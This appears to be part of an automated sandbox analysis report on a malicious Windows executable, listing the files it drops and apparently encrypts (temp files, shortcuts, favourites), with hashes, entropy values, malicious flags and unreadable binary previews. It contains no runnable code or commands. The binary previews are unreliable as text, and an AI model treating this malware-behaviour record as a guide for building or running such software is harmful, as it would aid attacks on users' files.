SSDEEP:	384:IqZFNbMQEwPflBaXDcbqB5JHlRECv4xNG1wEeonLleRVkceSWwz202tE6+m8A0g:IqZbbZflBjbqB5h7Ea4zWw6L2P/Wwz2V
MD5:	616EA1656B1739EEDF359F7025B1CCD3
SHA1:	A0EDF38BF16F542435794398484030874E7D2611
SHA-256:	9FD035B6EF1005C7E969ACB95309796A3EBE04E09A613F01A73F32C67018091D
SHA-512:	87E823F2548EB2ECA104D60C8C706A1A98415B5B3AA4DAE3620D6E998A24D567FFBBF4A9373724876CF5F89847ACDF9F76820645892D3CF1582818845B9A058E
Malicious:	true
Preview:	[4004.....?T.w..N..!.}...y..M\!..\..<....DP.d.Q4....V./.....x...BL.%\|....!-7..C....R.EQ.....\|.dn..q.^..j..y.`n..V.i.7.Nl.N.........yB.rmL..U.U.pFmB..]..L.T..I.....\...Q.:f..3..r..(...S. q.P...Lvhsh`..Fh.!O..[/..s..-T..L]..R ../...D.I....f.@N../STO...i..j4.....g.>_.t...R.4.!...'2.k+5..^.._;d#>..?.,Q.5..C...Z.b...../.zQW0knsB...C.ugT.e.L.....h!....~.6.w...M.....x...?.GKI..<;....n$h.u...{.`...w......Y..ZH..:4........Z28.....0).y..[]6.......%..Q..Z.A../...P.^x..D.......@...I......\|.t..Du......-.....'....q.z...%+p......h..} ..9..C.....B...3....>.i..lx..i.............^6o..qd\..............3gv.o..Ij...m.0n...[..U..l.V..&.@.H....^{.^...9...e.U.\|LZq....'......A.'..6j..#.....e....IA<..4};@.H.%.VY.........EOG..t...:......5/..?..v>..o..?...Gh.0.,..G..Z.._!...Zl.....rv-S....].\|6.P.p..u.<.n.........Q.oAf....L.R..qK'.ub3(..S....-5....;t.E.Ok8&.< n$c....m...m.!{....24.(.I.}.E.....-...~._a...RA...?.Q.Q.W.V.70.I.>n.y..55...G.......m..n......^u;....6.. .

C:\Users\jones\AppData\Local\Temp\offline.session64

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997306029735978
Encrypted:	true
SSDEEP:	1536:+jo0tutK+aPuL1H/PoPinYezl/tts8OcQ9MW73Sys49zrodqvzzL3:+UyCK+ZL1HoPiPl/tts81Gvs49zroSzr
MD5:	DF447255FA2079DEEE45286CBEA33A7C
SHA1:	8D747C037F967AFF63684A6CA0372B6C0B9DAF56
SHA-256:	1AD920DD29650ADA8D5C6A15F269076C2DD434C70AB65895C067593A826904EB
SHA-512:	B249D7BF22BD1F71D8497E5F9B710DE06756E0BABB676A6B598740F38486FE6D9A6456E0995FBE247DEB52F440EC88C62F65192A38CC202A61749EFAE3BBD6EB
Malicious:	true
Preview:	1G.f...U.M..._!HbV.0.zc.C.v(.1g..I...1.kt>.1..yW.^.RH.L.43.} ...........(8..:0.....W..~....."...=.eo.M..\......!^...2......m&.n.......T..0.a...i-`2....gF89.....R. .;..Wrt3..k....C...h!.:.....\...SM.N&..&..G..%.u..~jfds%\P.pdZ.Ky.ao.\.7s.U..z./..p...$.K...8..C..;m....."e...R.......u..v.....ro.E>.c..e~....+q.%C..Ch....M..[.o.m..z.....h......D.M..X4\|.....b.>e.2e..@0.h....>K..,l...yb.....onZ.V...F...M.....D..Q..$.......j.D..N.Q..W&..<.4.......&'2.(.t....{n...r...)Pg=l.!.._.d..{.W:VRpTb..qfVK..)7...../6......'...;p..-..).....?k..n.......>6..OaH...61%....%6.VL.RO....e....A.E.......{...J....F.......l.d.}..M .6...U.q4.[@i&.....(.)...Lv'..R.;..XA.......@.....~.).hk~.OR.q.....^NzA..F).....4m...U..62.V.M...BZ.`E.c..s....h.........`.DFX.oV../...@......0B.......<.dw....l1..7`..A..M.$..Gv0.7.x...<.v..J.H2.t. rp..[..j..........G`.X>_..L.HH3......g....8.u.....N..Kx3.5m9<0+. ...x.-e.w.}=TD.7z........\|@..(...:.......,L.......M...@YT.v9i_..

C:\Users\jones\AppData\Local\Temp\wct150C.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997887745492395
Encrypted:	true
SSDEEP:	1536:OWR5/afeiUH388EP672cPgTGU6lQGgDCXlhmv6ckQNt7UJ:OWRsE8AtY+hIbUJ
MD5:	A23FF6B49D6FB5E2062234E1CBF1439B
SHA1:	0DDA025F6FF7D667E8922E79F03239038EE8393C
SHA-256:	DE7034C7702CF40492A6470AC4B389843341DE1AD2A152A322937771F995D965
SHA-512:	3183D82E3E9B3C0283030B65ED28AB177775414B87C43792358881040659C1A905E8CCB84861AC005B3C75D2B33BE83EDEFFFE23DE08F10EAF2E28547E33A524
Malicious:	false
Preview:	{"ram........GS1V...:..4....F.b-....}Uj..........i.\2z:..U.R...r\..j.i?z..S{...J..(i.ku.r..J..(.P.,.c..hhb@i..}t....X.z..=.Ir6.o.....+EB...A[}.h...+....{.....j.u...j....(.[G..>.3/M..-........5..S.Ms(x.2..E.;.2....5..t...+.y......C...Q.(.P@C.H.D..x.6..S.g&.....yvk.>$"!.....C....g.......c.....mf..F.{.^..Zw..Z....e.z..h).P...[.Kx`+y.33.!O...xG....."F.Db._.F(...'.+..;:.H"Y..TU........t..).+.<J..mH....v.I.".gc..KyDeVB.....).a.....R6.)4.x...Q)..=.....Df.....r...B.HR..Ig...J..}.E:mV1....".a.Q^.....5CC..P..oH.[.?i..$.....d%...r.K....S...(.s...la{.!...x...XQQ.W.....`$X....YCV8."..RD.....Z...k7.oSyg..o.m.>.N.B@\|gN...A.B.t..:PQ..R...EOD..tB..x...,q.d...U..&S&Z'..,..f#...7[b.Gq....n.....q...p...^.p-!.[...Q.......m....n..-....]x.)8y. v....Dq+.?.#0.b..4.rQ.......t#.$+..[......U.-9.....unK~.9C..V...'......4a.x.,G..B.}.........'.'....7.xr(z...._..V.h.=vZ\|.+..%....."....a:.~.s$.\.:.j.1.\........J....o.,7..0.o.i.M.lP1Vm...x`oh.....s5@!...5..%.

C:\Users\jones\AppData\Local\Temp\wct38F0.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.9974050687398215
Encrypted:	true
SSDEEP:	1536:GweGaaalzKrO9iUTe44WW0GzWrXS2HTdsXKGYQpsNn3SW7GBUgpsbGFuV4k0bYo:h/Pmw+eV0IWe2XRNn3zGBUgpQgYML
MD5:	C06133D9A5B05194984DB329302A25F7
SHA1:	5BAF9507F984B2B225E936C355ADB0C78A8328D3
SHA-256:	381B2BB3DF34A1B67F4A67D4A6F48E2F90A2F34725E61F75A0B62E924A7064BF
SHA-512:	41F3C23922CC0BCC25CCCC8BF4EE392334490E85FF79B4EB198CD8124913880632E833A23FC831D4F843167A0538F2516F81788EC9D1A557B2549014CC6485FF
Malicious:	false
Preview:	{"ram....b..:'{`..NCw..X.H[.<...)....P.,V..f.6.....\v6.L.&....N..~O.(.L.}.A.N.?..Q..,..."GJ...m...v...N....vf.\|.`..%..a...?..Rs.A.f.l.3cs..`..a..B.b...........9.0B2.tPE.(...g.c.....I2..6...._..^./E....i.T.Z.T.z.D6G<f.Kk..N!+I....;.;.....u...[.\|..1.n/+..Y..iL+.u.;.....?.....$.$.z.}X.o0....R.0D.....y.I:..Pin...1......4..l.\s....t......W.LKF;.........Y$..8X..uE.. .W0........q....\.h!lEc.......x....5.$...Rz.....y9\|.....A....\|cm.D..5SS...:..2`..Q.E.<\|G.v..2N..GI........:Q..D...bP.....t.7.V.Tc8>..z..8..W.[..1.OB..g....!..3..?....>I..^.$N....%...V%..S.X...(......a.\.....$Bj....>6....v....~K...U..3...J...t_n.....O.&..O..Z.n..9.e..x.8..>...JmG..>.....z..u.......p.#.g...d.aa...r.y.X...}\|.kv.t.\|..*....8g....`...f..T.1.1!.MI.8.hZJ.++.}.q.u.D..&....x..L.pmc.........D...R.6.&.Z.&2m....mX.p.G............\|..3}Y..2....btF...6..(\\...........{.z.~\|......nW0q.5E....`..}!.<..N...,x.j.uC....".4'.U..\..$.A=".t.w%....".\Gb....].m~:...1..&..r.....hW..?.....?.....

C:\Users\jones\AppData\Local\Temp\wct3D66.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	1601198
Entropy (8bit):	7.987477855796793
Encrypted:	false
SSDEEP:	24576:PiRfh70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzUU:PiRX24gQu3TPZ2psFkiSqwozJ
MD5:	6F0233F1792BB01BF1D2026F09BBF0A0
SHA1:	0D801DB2F8F3B9D948D54D7DC520693FE9AF2D6E
SHA-256:	E65A50D615207C8B1C07D38B8AF294A183EAE371D8AF711E5D8BEA7469B16A7E
SHA-512:	D8D471EDECA372FD9C0258A549B4F7D422FF2E6FFB783F9EB48B73E5DF009E9082A78125A6EBEDB7549B1836FD032F0563FF0E6303C46B074D5E3C31C3E8F506
Malicious:	true
Preview:	MZ....%.b..\|....o...UT.".f1j..........J..y.}...XI0}J..A.Y...(..Pr.-G..c.....i....WG.n~}.+.e...c0..}.u7'E,...m..m...IBUv...nZ..s..p.~1^.h.D.H..;m.........l..!.L.X..&%..e=.\|z/..o`];b7.%c'......<...!.....eb.].../..,...[.+..O.....J.>..X.!..h)....S\..L#.)..u.&...P.4.S`.....Z2............Pg.~I...9.r.5...t.5.-g.....q.w%.z..{.em$.]. .+x...sY..=h..K..I...&.h~..$..0..ESf.).M?..31..zI./.0..sP...........@\|R.xi`.../.KsV<..D...e......Y"o.q.`.l...)....`r..1;.W.}..xp?..S..F.4......D(.Yz~.<.8&...{.0.;.v./.B....,.V..W.Ljh,N..K..........[M.0f.Ib..l..J<..~/...\.6QX\|.1xr..M.(..&.u$.=.y....}....g......o...k'4N.......!.._.7..I.p.4.N..cB.e..........)9.A.&E...r.o..lhD.T@....9.[nY.P..fZ...\.j."..`$.7...u.;.6.D.....z/.>....-..:./>.;....9........2a(q....3B_....TD..UK....ng .....7.x..W..$0.....$......b].L.e._&UN.wz..5..>...Rd-.x....P....).`d....9....L..k.-GQ..x...MK...\}...e.$.A5.J7.....J........+w..f.W.P..3S...^P8..U......S..n.R.[+9l;r.-.5V%-..M.\zOv....#ny...(&.].

C:\Users\jones\AppData\Local\Temp\wct49A7.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.996890390355125
Encrypted:	true
SSDEEP:	1536:NP+/YQDh1lmD2Q86IKM0aMQhMdLQm6scrOkYWvO+5zttMjKwOH:N2dDh1lmDpIKMGJdLKRrrYWDzttDH
MD5:	CB31837BE5DE340413BDFF5937C21D6F
SHA1:	819A75270C91F1B7C98518CBDE86F807C5EBF23C
SHA-256:	9F7955EA2B436134DB3D8D6C7187948AB567C08A5B8DCDDCB3C8E85135D28F5B
SHA-512:	20A0D247A3E76F88BA4FA555BF15FCCAF390FF90F90C30FD67773D4F388BEF6EF8C47E31A66E1E86AAF2EE24A5A4F056477E00693ECC624EC499FF5AB3E25FD1
Malicious:	false
Preview:	{"ram.2...m..[.....w...y........*i.Y,k\.AR.e<.......>\./C....E.S.@....q...6...a...<..5xAuH..,9.L...'\...\..X.p.=o.CS(d...U......q.\|X.2.../..g..s.d..~p8.....L^&y3....V..#b.BV.[W.(.........J..?.b...jJ.............\...oil..7..PF...{.@kk.......6W.9.f...O......K}.tv.n.].x.......(`z.-r,.<....ds.]K..Q..._).._.h.O.p....T...cI..s.)...?.../k^.V0r02.x.^....\.....aq.9..<.y..h.ZU.....1Rc.zhQR.w.....t.i...@jk8.m.Bw.~.!t...D..S...8...3.^.z..w.....d,..n.`...../..\X....B...a..-.w.$...wb...l...x..4..Q....h.7XW.!2.........i.)...`)3..~T....E......5.[VH2G.$1 .A,}....C.).v...'Zd ..n.r.'n.E...........Q.T....G.A..(Gq.#.S....;..k.]O..7\|.j...l[N.@.:.,...v....7!Q/.V/...d.N.Z4.HA.8Z*.K..O...I...Q.!.._;..c.i.........IY.......U.`J..-b........M.@7..........PD.@.....[..(z.F....~..Z`.L.Zr..#...........:.P2&....I..8.....-q...@&.o.d..J...."?..Cdk{.b..6.../.."X.\|.1..b..N_.O.S.O...N...gS.."...!...3.8.d...U/&sN.. .Y..........Q+...2.,.N..Y..yg..U.........b.;7.Z....a)

C:\Users\jones\AppData\Local\Temp\wctAB5F.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997321731036003
Encrypted:	true
SSDEEP:	1536:NRHVNtTyHUL/7w4ah4pj6jecKBVGpJYC5b/+iCac8/Uu1LQgn:zVPYbqvtBg7x+iTcU1Qgn
MD5:	68321D32684BE117B7D04391AD5F8195
SHA1:	7E8017DA76ACB00B74B37022E93C15BF52356FE3
SHA-256:	79DEB2BE11F43C8D08AF1B957D7A3B7DAD7CC07DA5479267631F4427FEEFE307
SHA-512:	A9FB1B2CFE0FB7912EA73EEB2461ACF61032CF10492AEF01DF7D9AA4F9B4C946B0009D485A87669F304B722F5D46BD7E58ADF8587E4AF26ADC3D0F0AB4A8F7DD
Malicious:	false
Preview:	{"ram.......<.J,.j.......u.g.....p..9...+.c..>....M.....$...)..#.!g...A.v.H."..K.O]...r.D..v.}v....,b...H....E\|.o.....N..Ai.....o~z4}EE~.J..72..~.....A.<;>.+.'C.!uP.....w@.....D..N.....];.....,X+.9./....P.....~.3.P........Q..".n....E.T...$+"z..s...uo.P.G.8.T......^...Y .{.+...[.).iJ`..,.o....%1z.'.b......S........E..A..z.{..yn.f.NL...F.v.............,.H.......BfC0._...8.9LF..d....5.j...D.ek:.._..?.W8..]...G.:ph}.y\.o...../.?p......;...c.1..P}'..:...3!W.....`(.R.!^P.....]...Z..a.jo...H......C....4..D.:....G.........6....x.WpR..........<;...).`..bDk.."....8...Yqq..c.cDy.{4.Le'....kTT+m...N..hi0.w..{.p...R.p.......0kwD....bs.b.jz.YS....x.8.?..a(..&...D4.....F.@......-..f6+ii.....2h.......C.#...g..i.. `....o.0o...b.../.K@i..l...=~.E.aT_..I.)...N....#p.i..-.He.........LP...&{.&G..O..w..D..).z...T.`7..]....?.f...%4.v..uT.......=..j$.X.jLN..l.....)..BN.7.k..'p.q...r.T...=.@..}r.?.......**..~;-wH.f4ng2.'t`..@.l._.0...<t.&?...G..-zW......'

C:\Users\jones\AppData\Local\Temp\wctDB2E.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997428966921231
Encrypted:	true
SSDEEP:	1536:a9kwOkWt01zBszlomzHYZMdElkSabj/qM39A:aSuny2MdhBbqqe
MD5:	89AD5B6F4F3B9CD03F7C898951EB4F5A
SHA1:	191B3A761B3A0BEA55C17ED7BD195870E20B5C79
SHA-256:	61A499FD2B57D9F83B028DA07DBF403FA16A9F643C6C5FD9B8F0C12E2EC0DEF3
SHA-512:	8BBBA043F21FF706A8AA534ADCD66C518A315EECBD77BB44F0E0E5E4751C20B19BB56BD7FD7C07352D91976C98AE8DCC7E1D815C6CD07E05031C060F686DB12A
Malicious:	false
Preview:	{"ram....c.6G......M\|.~.,~>$Go^....c..>P._.L.-.b.P.B....D....C&..-u...b.+L..zB{Z.F......k..D.......&-.R......h.....Z..v.m....h}.f..<.._W...Q.6f9......n.._9Y.].hI.._...sZ..q..T.."q#....\z.t...J.C...QB.B.0....!..c......J.LX..V.jN... .3I..9.x..K.....]...3{#..!....B.......Q.6....P..A1..6%gmF........wU...1..S6.b....e:...h.E..oG.R....M..a.@.&%.).@..e.E.....XO.i..{...D..)...I.....r. .%.)R.V.C...J...cB/.'.....]..8#o.G... .Br..V1....A.$.I..~C. ..........~.....%..j...p\J.\|-u....;.".os.6z.....4.6..........NP..R........A..<M..\..........B..}p.gA..7\.>....K..k.(.....!.R....>g.G.YZ~....B./n..j..jj.....n..Y..../..2...."......h.Q....g..{.....{]r...o.@u._.....uF.>.#..E...X.s..y.aq.6....cQ..:M.&.kl...e...>.\f......%.!8.CB...4w@.#.S.~........Jz.T.....K..h..t.[.`5c..A9..!..]t.....1..Y..i!"..e>h#'..HO.W;;....qHMt...k....JJW..o.D9.`.F...Q?>M..`..B.....p5G..$....t......(.r..U..0.........Y`.........%;]A.`.a.C;.f.D..-...o..%!m..C....]."k...:....N..j:.....

C:\Users\jones\AppData\Local\Temp\wctE4A4.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997273837234553
Encrypted:	true
SSDEEP:	1536:PPyq1wFtgjeScsrVvgvgj8OimWpuR0VWmpodU4LJQLtDs60s482wrMJM:i6e9yYm8TPpkUHtOO1d
MD5:	213621F01C6E7F4B6D9A35A8B69F37DD
SHA1:	A5103B4B6DA6190BA7D1353D201C2AB4E9EB04E0
SHA-256:	E08106230DAC874D7A303465BB623881C6D992D99450E6ADF2FEED77FDFA53C4
SHA-512:	4F8398A685A465838C82ACE14A176C2D50A9A45ACDECBF40306B58073BE33C9694724A81A8755B8B784A6795688858AEF840C3315F06B4D9F761F6F7161F7B53
Malicious:	false
Preview:	{"ram..tQ..v...4.M..O......#x.W{{.=.,<v...E...N.QP:.F..'d.P.I+o\|..RI`..o.......?.. ....w...7.[T...q..w.#>...I....^_...bp.....R.H..2.eh./.6..V......o...alW.R?.q..#.Hz.QtU}P..O.....OFq..w......."...s...B..,.u..@.F...o...0.l^.a.).~..j.4....J.....=.D.F....z..O.F.\...%_...Zn.L......x..i..P...#..r.0.F..........4.S.....7m2.....0..Jl^.9U=v...)...B.qj2...B..c..3-...).O."7......+.W....:i.;...o.<......2....>..T.0r}}....Se..LI.=..^..._f.L.`}V....y.^[..h.S........e..kp4$.v...g3.nv...M....M.H...0....,.^...A.......m{'F.j..D.Gh..,..n...w;\|..P.......f.t...r:..-..s.A:..o.}..F..20..V..//.....KD.V...K...v...v....%..w.a/.r..:...c.{..`....#..'7.I9...$.....H..-"..q.Z9....h.\|..L..e..p...aN.G...A.~.A. ..=.+`...\.....]z.bN..TPS'..Y1[:.........3m.`..-f..*..0.....+<..=5..{....H.Z?..?..L...1...v......%.&>.N.1..H.R7...tN$z.1.Y...]8...I.{..~...><...../d.>..-@....;..-..t.......D.........FL.6u......4.....R.......iO:...5...?.3d..v.I6\|u.L..kr.N_N!m.$7.......3,cfF.

C:\Users\jones\AppData\Local\Temp\wctEA40.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997566865997146
Encrypted:	true
SSDEEP:	768:da+cTVfQoCjn/ze6z+wIbwDS3tF0chdCADMc2+O9wPIL2Sz4T6E7r1clImpXXzWj:dah6p1S3tPhnDbO9FLb+6n99XKsO4i26
MD5:	37AE2B2A602BD6214E075DF6BC0BEEB1
SHA1:	B6409B9559C6455F2C864381BDB7ED7602B8AF12
SHA-256:	7C99938B68D637234ADB2A1425ED2FF4431B3B44CB27ECD5BF654AC15D4E4E05
SHA-512:	EBCE7E7006F43BC85869A6E842784BEDC76D2857AF518FF73E7C50C47FA8F80F5C82CFCCCB0CB76264FD60F5F1E7CDB3CCD5DEF9CE2A9EFD2A13CB107CEF5B2E
Malicious:	false
Preview:	{"rammNr......qP).^.. ..i..M......A.B%.S..4....;p.bI.VR....>.u.Q1[.Z^C^.Z......O.aWw...7.....~...'.M...j..+..]...[Z<.. ..rrm...y.......]D..R.f...R&....wNV;{rq.......M....UV....y.75V.$R.KW;iw..N....#b).7.R.&.'\@>....e....P...H.?..i.....;....3.5.`....r......C....0:.......u.ALg....q.X."..(}.!...gv..fw..:.G..X.....!q.k...X.H.BB8..+...N........F>..7...v\|=..j.!.^xw?.....U!..+-H.Ap...h.N...2..ef.o.8.5./....gr.wY...)'...WR6C....P........hI...0.'NB..j.g'.z.N...1......^gV...6.%..Ia....:Qhf....."...9...f...r.....$.)......}..Z<..m..$..d{Z.......4...bqP.<...P ...^.>."..\.xh.......%3\......6.E..oBi6..B..[..g...`{........$.......W..g.....Z...v...#{d...~...S"hP....D9..D.{ltH..F..._....c.....f..Y..P...?..W...S...o\|\|..4.~...dn;L.kJP..~......5]..E....=.W~..6.c..U....K..r..A....\....bC.8.....R.r6..w....hBV.)lt..B..\|.\...S.;......)O..3..x.h.....r....C.....6.[,.]w.b..+.....Fy....k.l.o..#........fM.".;......h.].]Qo...........A..l.L.@...N.4...

C:\Users\jones\AppData\Local\Temp\wctF86A.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947665849911759
Encrypted:	false
SSDEEP:	786432:dwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59e:qQcWxDMPnN+dk65gGUjku4vNjLje
MD5:	530512661DA175C5AAC2F59AE5D3FBCF
SHA1:	5CF1AC5038422367AC197F3EAC74D1F877C14F48
SHA-256:	F10F29EECC8D130BE2F865A60103D8807C7C4CF1E17EE040248A535E693B178F
SHA-512:	023990EDC0FED25EF409219A9F070A353EB2D5422122804CB783E2F84F8C79E2DC0994B7EC4F56459958D44AB8C06B9433A0472CF71B8B76D6F3D0EDB013BAB9
Malicious:	true
Preview:	MZ...v.Y..<.M...C@.....U..2"..DD.c~aH....Vc..M....S...7..Y;.{k..?....]..i..S..^m....s..:........nb.;.....s......`.C......6....dz.o.y.'=..1...+.~....W..w...$`..P.....X...... tQ."....CI(.).1.AYx........B... .+vyZK..ae@.b....s......F;....[j>X....J..!.../..'.mJ..83...t.....^...u.Pzc.D..G....}........=.hH.D.j...........iyY...\.&.wVi7...[..Bq.,..\|.^0...m.A.$!.Cu.N.. .).3.h...bz...G..(.@....O..'.W...r....zQV.'+.}...f...:....=.9.....O..n.C..w.-......A....8...f,Y....W..:...y...j.~o...C$.+..sO..[.....#F..P..x?D..a...`.;R...-e.5B...5. +[..z.VO..u.E.'....yKh..&X).9fD.(...:..(r..P..BJ ."e.z;..v.w<...gj.Q.S[.D<[............J...v9c..&i.(i.....I=.....H..A...W.^".......,....#4..../......D..\|Z..T_.({)..J.z.g%\p......2;.[..D..?..@.6da..v=.....w..vI..+.upG......A_~.\.,.........=.`./@..!...(....@.........'.l.Y.......U...$}'....UPr.2x.h.q..-m..).......g.E...._...g....'n,.2.."..-..<.?..;X.....ut.<....9..z...-.E.I;v...xq.......3.c*W6...Yru....(.(.;..&.A(

C:\Users\jones\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.867971373673612
Encrypted:	false
SSDEEP:	24:q9ejxRUdhcum9oflGtosF5Cg5OMYlF06FMahtLU0D5oUb3zbD:aA0xctLFQg4lF0+MC3NoUb3nD
MD5:	8FC29FFE28FDB67E4EC916504D0794E3
SHA1:	47895DC72BFA668E82566EFF223B7B89011B6280
SHA-256:	9B7A5265473415CF961A3938161782D8CFCF5E14874E15CA7DE51CA934B046B3
SHA-512:	BB5FA1A1CFD9C19723555D3DE4144B598C67F71981CB5814F26DFE0F45A500328F33B228401DDC783303C3BA67E6231BA530DD95346D82D329C5BB34849ABB2B
Malicious:	false
Preview:	L......S....K..CO.m.).....jT}0..fG.....j..%..4..l..u8a....\|B..J....5.I.......p. W5.S_z..=....`mu..?&..q.......s..yuK.VG.[..q.!\gv..)-.b7.........?.k..HE.....;.t.........[..l7....h.F..A:.+?..;F..U......S.n....W.N.a:M..^..v.'m....x.I.a+*+6.b.........R.A.R.#.\@..neG9.W.K.......Nd~..l...^Z.....t..X.....Y,A'Rd..r...\R.P.c..v..$Uj.........~...1.....T..+. f.q..%.e.._..Jj\'s...S.#.T...#...(.]...N..B.I......\|6.!g-..P.a...Wo=a.9`..~...h..N.....2.m7=)..hLQ.....B...g...%b&~@.c.Vg.4.Z.bA.\|.jw...b..a.%a........H.h..pn:.tx.3..F.....^G.9$.Up..~8`.....\.[.#6...Y..\..^.;ch.[.w.Oir....To..XY....3..\...oF.Ge.d...T..rx.;...<....N~..&We.8....id...I....K.b:.IjW.....>.'.X..Q..;=..H.Y.....\8n}F.0_b.u...DA.Y.....j.u.L7.......L~.I.g.d...`.^.......lm..>.....E1.J ..>.}...c.`..'....7.#M.....Y.L#.HB...?Z........!o......{PZ,.[\\|..6..{p^&.o........{..W....#.^.A..._..d..-9.e.H...B..\|).2VJm.G.sK..Y..J..X...B...+....:.n..{.C:]..G...&.w.$3O.s...3.......u.9.W.......vw..

C:\Users\jones\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.270176749116191
Encrypted:	false
SSDEEP:	6:51isfJUu2XknwxGaOAfslTu4d9wijpAewL2bROsVolWbz6Wcii96Z:+Qj20nOMB59ZjU2v36Wcii9a
MD5:	F9BB25BDC443EC00FE5CB19C78373CA3
SHA1:	2E2F64CD2B4C4B39E2C018FE95A54D1F11B284E6
SHA-256:	8D2925DD8E7CD3555978F91B43810CF3F8E55ECFC1FE16E6994EAB54CAB84FB6
SHA-512:	0919B540B3A346179310986E495931DB51730ACBF86C86364D173AAB6EF5C9E41E9BDD7E8DC027D4D154AB81668D3646C89380737C3378E3B2BFF1F09B67E920
Malicious:	false
Preview:	deskt......B:/....3E1......j..48...,....1..K.........].i=9b1.......RY...W.`......].Fp.?.{0...+..O..\sU..vL$_.......N..L.w.....D.{....d4`.A.b..i..>....f-._..+~&......}..*mQd.M.y.Uy..@R.mk......%.<#....K..8.r...l..A.....&<K=jr. ...Y=T....s..r.du..2.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.568671166409081
Encrypted:	false
SSDEEP:	12:bGKJSDqwuj/zbT4ybfF7IzvytMCS72iooeO64j2Cr936Wcii9a:bN7bjzPtfFszKw72iooy22Cr93zbD
MD5:	B6AFECD8D26CF903838F796700E3859F
SHA1:	2A0E454ECF265AECE0D8031FCEFC185C06BA81EA
SHA-256:	4E53A2373A5189060CC7141A77BA69D19006D6B4459511346695ED1FD8CAE087
SHA-512:	D320D34B7FCDE10378AD884ABCD157443990F5934B8C02814CE69B03C06B9E1F32DED4093DD4620205D3C60E0A1A12425E3453744CE6843BE5214F9801090EC3
Malicious:	false
Preview:	[{000...yQ;.....h.$...e;L...".z&...V.....;..>R4z0'...e..<B..W..`..x....4../D.`.r..i.H.{....D:..,..=......~..\z..,....$.8..Ht...E..k\|`....A.-.....K2.J~..#?.U`..-!..}.....zP..G.'..d6..#/..P..3..,9..I.c1h....... .3....._.%..`..p}P...8...0./..c...fI..J....8..z!.3.n.yq.._V.l .=%`.....o.U..s.....TV.It..<......H.R.s../..V.....Q.L5.....w`....7.O.g.__(...s(V.[t.....:....*...&..,..Z/&-\ Q.....`.....)).`^...?f.J.n..K.r#z...t.7}.2 ...TWH...1.8GU7..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Favorites\Bing.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.568671166409081
Encrypted:	false
SSDEEP:	12:bGKJSDqwuj/zbT4ybfF7IzvytMCS72iooeO64j2Cr936Wcii9a:bN7bjzPtfFszKw72iooy22Cr93zbD
MD5:	B6AFECD8D26CF903838F796700E3859F
SHA1:	2A0E454ECF265AECE0D8031FCEFC185C06BA81EA
SHA-256:	4E53A2373A5189060CC7141A77BA69D19006D6B4459511346695ED1FD8CAE087
SHA-512:	D320D34B7FCDE10378AD884ABCD157443990F5934B8C02814CE69B03C06B9E1F32DED4093DD4620205D3C60E0A1A12425E3453744CE6843BE5214F9801090EC3
Malicious:	false
